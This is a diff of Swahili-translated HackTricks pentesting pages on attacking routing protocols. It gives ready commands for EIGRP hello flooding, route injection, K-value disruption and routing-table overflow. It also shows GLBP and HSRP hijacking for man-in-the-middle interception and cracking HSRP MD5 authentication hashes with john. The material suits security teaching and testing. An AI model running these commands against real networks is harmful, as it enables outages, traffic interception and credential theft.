<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,86 +1,88 @@
|
|||
# Mashambulizi ya EIGRP
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Hii ni muhtasari wa mashambulizi yaliyofunuliwa katika** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9). Angalia kwa habari zaidi.
|
||||
**Hii ni muhtasari wa mashambulizi yaliyofunuliwa katika** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9). Angalia kwa maelezo zaidi.
|
||||
|
||||
## **Mashambulizi ya Majirani wa Uongo wa EIGRP**
|
||||
## **Mashambulizi ya Majirani Bandia wa EIGRP**
|
||||
|
||||
- **Lengo**: Kuzidisha CPUs za router kwa kuwafurika na pakiti za salamu za EIGRP, ambayo inaweza kusababisha mashambulizi ya Kukataa Huduma (DoS).
|
||||
- **Lengo**: Kuzidisha CPUs za router kwa kuwafurika na pakiti za hello za EIGRP, ikisababisha mashambulizi ya Kukataa Huduma (DoS) yanayowezekana.
|
||||
- **Zana**: Skripti ya **helloflooding.py**.
|
||||
- **Utekelezaji**:
|
||||
%%%bash
|
||||
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
|
||||
%%%
|
||||
- **Vigezo**:
|
||||
- `--interface`: Inaonyesha kiolesura cha mtandao, kwa mfano, `eth0`.
|
||||
- `--as`: Inafafanua nambari ya mfumo wa kiotomatiki ya EIGRP, kwa mfano, `1`.
|
||||
- `--subnet`: Inaweka eneo la subnet, kwa mfano, `10.10.100.0/24`.
|
||||
- `--interface`: Inabainisha kiolesura cha mtandao, k.m., `eth0`.
|
||||
- `--as`: Inaainisha nambari ya mfumo wa kiotomatiki wa EIGRP, k.m., `1`.
|
||||
- `--subnet`: Inaweka eneo la subnet, k.m., `10.10.100.0/24`.
|
||||
|
||||
## **Mashambulizi ya EIGRP ya Tundu Jeusi**
|
||||
|
||||
- **Lengo**: Kuvuruga mtiririko wa trafiki ya mtandao kwa kuingiza njia ya uwongo, ikisababisha tundu jeusi ambapo trafiki inaelekezwa kwenye marudio yasiyopo.
|
||||
- **Lengo**: Kuvuruga mtiririko wa trafiki ya mtandao kwa kuingiza njia bandia, ikisababisha tundu jeusi ambapo trafiki inaelekezwa kwenye marudio yasiyopo.
|
||||
- **Zana**: Skripti ya **routeinject.py**.
|
||||
- **Utekelezaji**:
|
||||
%%%bash
|
||||
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
|
||||
%%%
|
||||
- **Vigezo**:
|
||||
- `--interface`: Inaonyesha kiolesura cha mfumo wa mshambuliaji.
|
||||
- `--as`: Inafafanua nambari ya EIGRP AS.
|
||||
- `--interface`: Inabainisha kiolesura cha mfumo wa mshambuliaji.
|
||||
- `--as`: Inaainisha nambari ya EIGRP AS.
|
||||
- `--src`: Inaweka anwani ya IP ya mshambuliaji.
|
||||
- `--dst`: Inaweka anwani ya IP ya subnet ya lengo.
|
||||
- `--prefix`: Inafafanua kichujio cha anwani ya IP ya subnet ya lengo.
|
||||
- `--prefix`: Inaainisha kichungi cha anwani ya IP ya subnet ya lengo.
|
||||
|
||||
## **Mashambulizi ya Kuchukua Faida ya K-Values**
|
||||
## **Mashambulizi ya Kutumia K-Values**
|
||||
|
||||
- **Lengo**: Kuunda vurugu na kuunganisha tena ndani ya kikoa cha EIGRP kwa kuingiza K-values zilizobadilishwa, ikisababisha mashambulizi ya DoS kwa ufanisi.
|
||||
- **Lengo**: Kujenga vurugu na kuunganisha upya ndani ya uwanja wa EIGRP kwa kuingiza K-values zilizobadilishwa, ikisababisha mashambulizi ya DoS kwa ufanisi.
|
||||
- **Zana**: Skripti ya **relationshipnightmare.py**.
|
||||
- **Utekelezaji**:
|
||||
%%%bash
|
||||
~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
|
||||
%%%
|
||||
- **Vigezo**:
|
||||
- `--interface`: Inaonyesha kiolesura cha mtandao.
|
||||
- `--as`: Inafafanua nambari ya EIGRP AS.
|
||||
- `--interface`: Inabainisha kiolesura cha mtandao.
|
||||
- `--as`: Inaainisha nambari ya EIGRP AS.
|
||||
- `--src`: Inaweka Anwani ya IP ya router halali.
|
||||
|
||||
## **Mashambulizi ya Kujaa kwa Jedwali la Mwongozo**
|
||||
|
||||
- **Lengo**: Kusumbua CPU na RAM ya router kwa kuwafurika jedwali la mwongozo na njia nyingi za uwongo.
|
||||
- **Lengo**: Kuzidisha CPU na RAM ya router kwa kufurika jedwali la mwongozo na njia bandia nyingi.
|
||||
- **Zana**: Skripti ya **routingtableoverflow.py**.
|
||||
- **Utekelezaji**:
|
||||
%%%bash
|
||||
sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
|
||||
%%%
|
||||
- **Vigezo**:
|
||||
- `--interface`: Inaonyesha kiolesura cha mtandao.
|
||||
- `--as`: Inafafanua nambari ya EIGRP AS.
|
||||
- `--interface`: Inabainisha kiolesura cha mtandao.
|
||||
- `--as`: Inaainisha nambari ya EIGRP AS.
|
||||
- `--src`: Inaweka anwani ya IP ya mshambuliaji.
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,56 +1,56 @@
|
|||
# Mashambulizi ya GLBP & HSRP
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Maelezo ya Utekelezaji wa FHRP Hijacking
|
||||
## Maelezo ya Utekaji wa FHRP
|
||||
|
||||
### Mbinu za FHRP
|
||||
FHRP imeundwa kutoa nguvu ya mtandao kwa kuunganisha rutuba nyingi kuwa kitengo kimoja cha kubunifu, hivyo kuboresha usambazaji wa mzigo na uvumilivu wa makosa. Cisco Systems iliingiza itifaki maarufu katika mfululizo huu, kama vile GLBP na HSRP.
|
||||
FHRP imeundwa kutoa nguvu ya mtandao kwa kuunganisha rutuba nyingi kuwa kitengo kimoja cha kubunifu, hivyo kuboresha usambazaji wa mzigo na uvumilivu wa hitilafu. Cisco Systems iliingiza itifaki maarufu katika mfululizo huu, kama vile GLBP na HSRP.
|
||||
|
||||
### Mbinu za Itifaki ya GLBP
|
||||
Uumbaji wa Cisco, GLBP, hufanya kazi kwenye safu ya TCP/IP, ikichukua UDP kwenye bandari 3222 kwa mawasiliano. Rutuba katika kikundi cha GLBP hubadilishana pakiti za "hello" kila baada ya sekunde 3. Ikiwa rutuba haiwezi kutuma pakiti hizi kwa sekunde 10, inadhaniwa kuwa haipo. Walakini, muda huu haujafungwa na unaweza kurekebishwa.
|
||||
Uumbaji wa Cisco, GLBP, hufanya kazi kwenye safu ya TCP/IP, ikichukua UDP kwenye bandari 3222 kwa mawasiliano. Rutuba katika kikundi cha GLBP hubadilishana pakiti za "hello" kila baada ya sekunde 3. Ikiwa rutuba haiwezi kutuma pakiti hizi kwa sekunde 10, inadhaniwa kuwa haipo. Walakini, muda huu si wa kudumu na unaweza kubadilishwa.
|
||||
|
||||
### Uendeshaji wa GLBP na Usambazaji wa Mzigo
|
||||
GLBP inaonekana kwa kuwezesha usambazaji wa mzigo kati ya rutuba kwa kutumia anwani moja ya IP ya kubunifu pamoja na anwani nyingi za MAC za kubunifu. Katika kikundi cha GLBP, kila rutuba inashiriki katika kusonga pakiti. Tofauti na HSRP/VRRP, GLBP inatoa usambazaji wa kweli wa mzigo kupitia njia kadhaa:
|
||||
GLBP inajitokeza kwa kuwezesha usambazaji wa mzigo kati ya rutuba kwa kutumia anwani moja ya IP ya kubunifu pamoja na anwani nyingi za MAC za kubunifu. Katika kikundi cha GLBP, kila rutuba inashiriki katika kusonga pakiti. Tofauti na HSRP/VRRP, GLBP hutoa usambazaji wa kweli wa mzigo kupitia njia kadhaa:
|
||||
|
||||
- **Usambazaji wa Mzigo Unaotegemea Mwenyeji:** Unahifadhi ugawaji wa anwani ya MAC ya AVF kwa mwenyeji, muhimu kwa miundo thabiti ya NAT.
|
||||
- **Usambazaji wa Mzigo wa Round-Robin:** Njia ya msingi, kubadilisha ugawaji wa anwani ya MAC ya AVF kati ya wageni wanaotaka.
|
||||
- **Usambazaji wa Mzigo wa Round-Robin Uliopimwa:** Inagawa mzigo kulingana na metrics ya "Uzito" iliyowekwa mapema.
|
||||
- **Usambazaji wa Mzigo wa Round-Robin:** Njia ya msingi, kubadilisha ugawaji wa anwani ya MAC ya AVF kati ya wenyewe wanaoomba.
|
||||
- **Usambazaji wa Mzigo wa Round-Robin Uliopimwa:** Inagawa mzigo kulingana na metriki iliyowekwa ya "Uzito".
|
||||
|
||||
### Vipengele muhimu na Istilahi katika GLBP
|
||||
- **AVG (Lango la Kibunifu cha Moja kwa Moja):** Rutuba kuu, inayowajibika kwa kutenga anwani za MAC kwa rutuba za rika.
|
||||
- **AVF (Mbeba Mbele wa Kibunifu cha Moja kwa Moja):** Rutuba iliyoteuliwa kusimamia trafiki ya mtandao.
|
||||
- **Kipaumbele cha GLBP:** Kipimo kinachodhibiti AVG, kuanzia kwa chaguo-msingi cha 100 na kati ya 1 na 255.
|
||||
- **AVG (Lango la Kibunifu cha Kazi):** Rutuba kuu, inayowajibika kwa kugawa anwani za MAC kwa rutuba wenzake.
|
||||
- **AVF (Mbeba Mbele wa Kibunifu cha Kazi):** Rutuba iliyoteuliwa kusimamia trafiki ya mtandao.
|
||||
- **Kipaumbele cha GLBP:** Metriki inayodhibiti AVG, ikitoka kwa msingi wa 100 na kati ya 1 na 255.
|
||||
- **Uzito wa GLBP:** Inaonyesha mzigo wa sasa kwenye rutuba, inayoweza kurekebishwa kwa mikono au kupitia Kufuatilia Vitu.
|
||||
- **Anwani ya IP ya Kibunifu ya GLBP:** Inatumika kama lango la kawaida la mtandao kwa vifaa vyote vilivyounganishwa.
|
||||
|
||||
Kwa mwingiliano, GLBP inatumia anwani ya multicast iliyohifadhiwa 224.0.0.102 na bandari ya UDP 3222. Rutuba hutoa pakiti za "hello" kila baada ya sekunde 3, na zinachukuliwa kutokuwa na uendeshaji ikiwa pakiti inakosa kwa kipindi cha sekunde 10.
|
||||
Kwa mwingiliano, GLBP hutumia anwani ya multicast iliyohifadhiwa 224.0.0.102 na bandari ya UDP 3222. Rutuba hutoa pakiti za "hello" kila baada ya sekunde 3, na zinachukuliwa kutokuwa na uendeshaji ikiwa pakiti inakosa kwa kipindi cha sekunde 10.
|
||||
|
||||
### Mbinu ya Mashambulizi ya GLBP
|
||||
Mshambuliaji anaweza kuwa rutuba kuu kwa kutuma pakiti ya GLBP yenye thamani kubwa ya kipaumbele (255). Hii inaweza kusababisha mashambulizi ya DoS au MITM, kuruhusu utekaji au uelekezaji wa trafiki.
|
||||
Mshambuliaji anaweza kuwa rutuba kuu kwa kutuma pakiti ya GLBP yenye thamani kubwa ya kipaumbele (255). Hii inaweza kusababisha mashambulizi ya DoS au MITM, kuruhusu udukuzi au uelekezaji wa trafiki.
|
||||
|
||||
### Kutekeleza Mashambulizi ya GLBP na Loki
|
||||
[Loki](https://github.com/raizo62/loki_on_kali) inaweza kutekeleza mashambulizi ya GLBP kwa kuingiza pakiti na kipaumbele na uzito uliowekwa kwa 255. Hatua za kabla ya mashambulizi ni pamoja na kukusanya habari kama anwani ya IP ya kubunifu, uwepo wa uwakilishi, na thamani za kipaumbele za rutuba kwa kutumia zana kama Wireshark.
|
||||
[Loki](https://github.com/raizo62/loki_on_kali) inaweza kutekeleza mashambulizi ya GLBP kwa kuingiza pakiti na kipaumbele na uzito uliowekwa kwa 255. Hatua za kabla ya mashambulizi ni pamoja na kukusanya habari kama anwani ya IP ya kubunifu, uwepo wa uthibitishaji, na thamani za kipaumbele za rutuba kwa kutumia zana kama Wireshark.
|
||||
|
||||
Hatua za Mashambulizi:
|
||||
1. Badilisha kwa hali ya kusikiliza na wezesha usambazaji wa IP.
|
||||
1. Badilisha kwa hali ya kusikiliza na wezesha kusonga IP.
|
||||
2. Tambua rutuba ya lengo na upate anwani yake ya IP.
|
||||
3. Zalisha ARP ya bure.
|
||||
4. Ingiza pakiti ya GLBP yenye nia mbaya, ukiiga AVG.
|
||||
|
|
@ -58,7 +58,7 @@ Hatua za Mashambulizi:
|
|||
6. Tekeleza SNAT kwa uonekano kamili wa trafiki.
|
||||
7. Badilisha mwelekeo ili kuhakikisha upatikanaji wa mtandao unaendelea kupitia rutuba ya asili ya AVG.
|
||||
|
||||
Kwa kufuata hatua hizi, mshambuliaji anajitokeza kama "mtu katikati," mwenye uwezo wa kuteka na kuchambua trafiki ya mtandao, ikiwa ni pamoja na data isiyo na usimbaji au nyeti.
|
||||
Kwa kufuata hatua hizi, mshambuliaji anajipanga kama "mtu katikati," mwenye uwezo wa kuingilia na kuchambua trafiki ya mtandao, ikiwa ni pamoja na data isiyo na usimbaji au nyeti.
|
||||
|
||||
Kwa mfano, hapa kuna vipande vya amri vinavyohitajika:
|
||||
```bash
|
||||
|
|
@ -74,30 +74,32 @@ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
|||
sudo route del default
|
||||
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
|
||||
```
|
||||
### Maelezo ya Kijasusi ya Utekelezaji wa HSRP Hijacking na Maelezo ya Amri
|
||||
Kufuatilia na kuingilia kati trafiki inaweza kufanywa kwa kutumia net-creds.py au zana kama hizo kuchukua na kuchambua data inayopita kupitia mtandao uliokumbwa.
|
||||
|
||||
#### Maelezo ya Jumla ya HSRP (Itifaki ya Redundancy ya Router ya Moto/Standby)
|
||||
HSRP ni itifaki ya kipekee ya Cisco iliyoundwa kwa ajili ya redundancy ya lango la mtandao. Inaruhusu usanidi wa rutuba za mwili nyingi katika kitengo kimoja cha mantiki chenye anwani ya IP iliyoshirikiwa. Kitengo hiki cha mantiki kinasimamiwa na router ya msingi inayowajibika kwa kuelekeza trafiki. Tofauti na GLBP, ambayo hutumia vipimo kama kipaumbele na uzito kwa usawa wa mzigo, HSRP inategemea router moja tu ya aktivi kwa usimamizi wa trafiki.
|
||||
### Maelezo ya Kusubiri ya Utekaji wa HSRP na Maelezo ya Amri
|
||||
|
||||
#### Maelezo ya Jumla ya Utekaji wa HSRP (Itikadi ya Msimamo wa Moto wa Router/Itifaki ya Redundancy)
|
||||
HSRP ni itifaki ya kipekee ya Cisco iliyoundwa kwa ajili ya redundansi ya lango la mtandao. Inaruhusu usanidi wa rutuba za mwili nyingi katika kitengo kimoja la mantiki lenye anwani ya IP iliyoshirikiwa. Kitengo hiki la mantiki linasimamiwa na router ya msingi inayowajibika kwa kuongoza trafiki. Tofauti na GLBP, ambayo hutumia vipimo kama kipaumbele na uzito kwa usawa wa mzigo, HSRP inategemea router moja tu ya aktivi kwa usimamizi wa trafiki.
|
||||
|
||||
#### Majukumu na Istilahi katika HSRP
|
||||
- **Router ya Aktivi ya HSRP**: Kifaa kinachofanya kazi kama lango, kusimamia mtiririko wa trafiki.
|
||||
- **Router ya Standby ya HSRP**: Router ya ziada, tayari kuchukua nafasi ikiwa router ya aktivi inashindwa.
|
||||
- **Kikundi cha HSRP**: Seti ya rutuba zinazoshirikiana ili kuunda router ya kubadilika ya kawaida.
|
||||
- **Router ya Kusubiri ya HSRP**: Router ya ziada, tayari kuchukua nafasi ikiwa router ya aktivi inashindwa.
|
||||
- **Kikundi cha HSRP**: Seti ya rutuba zinazoshirikiana ili kuunda router ya kubadilika ya kawaida moja.
|
||||
- **Anwani ya MAC ya HSRP**: Anwani ya MAC ya kubadilika iliyopewa router ya mantiki katika usanidi wa HSRP.
|
||||
- **Anwani ya IP ya Kibadilika ya HSRP**: Anwani ya IP ya kibadilika ya kikundi cha HSRP, ikifanya kazi kama lango la msingi kwa vifaa vilivyounganishwa.
|
||||
- **Anwani ya IP ya Kibadilika ya HSRP**: Anwani ya IP ya kubadilika ya kikundi cha HSRP, ikifanya kazi kama lango la msingi kwa vifaa vilivyounganishwa.
|
||||
|
||||
#### Toleo za HSRP
|
||||
HSRP inakuja katika toleo mbili, HSRPv1 na HSRPv2, zikitoa tofauti hasa katika uwezo wa kikundi, matumizi ya IP ya multicast, na muundo wa anwani ya MAC ya kibadilika. Itifaki hutumia anwani maalum za IP za multicast kwa kubadilishana habari ya huduma, na pakiti za Hello hutumwa kila baada ya sekunde 3. Router inachukuliwa kuwa haiko hai ikiwa hakuna pakiti inayopokelewa ndani ya kipindi cha sekunde 10.
|
||||
HSRP inakuja katika toleo mbili, HSRPv1 na HSRPv2, zikitofautiana hasa katika uwezo wa kikundi, matumizi ya IP ya multicast, na muundo wa anwani ya MAC ya kubadilika. Itifaki hutumia anwani maalum za IP za multicast kwa kubadilishana habari ya huduma, na pakiti za Hello hutumwa kila baada ya sekunde 3. Router inachukuliwa kuwa haifanyi kazi ikiwa hakuna pakiti inayopokelewa ndani ya kipindi cha sekunde 10.
|
||||
|
||||
#### Mbinu ya Shambulio la HSRP
|
||||
Mashambulio ya HSRP yanahusisha kuchukua jukumu la Router ya Aktivi kwa kuingiza thamani ya kipaumbele ya juu sana. Hii inaweza kusababisha shambulio la Man-In-The-Middle (MITM). Hatua muhimu kabla ya shambulio ni pamoja na kukusanya data kuhusu usanidi wa HSRP, ambayo inaweza kufanywa kwa kutumia Wireshark kwa uchambuzi wa trafiki.
|
||||
#### Mbinu ya Utekaji wa HSRP
|
||||
Mbinu za HSRP zinahusisha kuchukua jukumu la Router ya Aktivi kwa kuingiza thamani ya kipaumbele ya juu. Hii inaweza kusababisha shambulio la Man-In-The-Middle (MITM). Hatua muhimu kabla ya shambulio ni kukusanya data kuhusu usanidi wa HSRP, ambayo inaweza kufanywa kwa kutumia Wireshark kwa uchambuzi wa trafiki.
|
||||
|
||||
#### Hatua za Kupitisha Uthibitishaji wa HSRP
|
||||
1. Hifadhi trafiki ya mtandao inayojumuisha data ya HSRP kama faili ya .pcap.
|
||||
1. Hifadhi trafiki ya mtandao inayohusisha data ya HSRP kama faili ya .pcap.
|
||||
```shell
|
||||
tcpdump -w hsrp_traffic.pcap
|
||||
```
|
||||
2. Chambua hashi za MD5 kutoka kwenye faili ya .pcap kwa kutumia hsrp2john.py.
|
||||
2. Chambua hashi za MD5 kutoka kwa faili ya .pcap kwa kutumia hsrp2john.py.
|
||||
```shell
|
||||
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
|
||||
```
|
||||
|
|
@ -108,26 +110,26 @@ john --wordlist=mywordlist.txt hsrp_hashes
|
|||
|
||||
**Kutekeleza Uingizaji wa HSRP na Loki**
|
||||
|
||||
1. Zindua Loki ili kutambua matangazo ya HSRP.
|
||||
2. Weka kiolesura cha mtandao kwenye hali ya promiscuous na wezesha kusonga kwa IP.
|
||||
1. Anzisha Loki kutambua matangazo ya HSRP.
|
||||
2. Weka kiolesura cha mtandao kwenye hali ya kusikiliza na wezesha kusonga kwa IP.
|
||||
```shell
|
||||
sudo ip link set eth0 promisc on
|
||||
sudo sysctl -w net.ipv4.ip_forward=1
|
||||
```
|
||||
3. Tumia Loki kulenga router maalum, ingiza nenosiri lililovunjwa la HSRP, na fanya usanidi unaohitajika ili kujifanya kama Router ya Aktivi.
|
||||
4. Baada ya kupata jukumu la Router ya Aktivi, sanidi kiolesura chako cha mtandao na meza za IP ili kuingilia trafiki halali.
|
||||
3. Tumia Loki kulenga router maalum, ingiza nenosiri lililovunjwa la HSRP, na fanya usanidi unaohitajika kujifanya kuwa Router ya Aktivi.
|
||||
4. Baada ya kupata jukumu la Router ya Aktivi, sanidi kiolesura chako cha mtandao na meza za IP kuingilia trafiki halali.
|
||||
```shell
|
||||
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
|
||||
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||||
```
|
||||
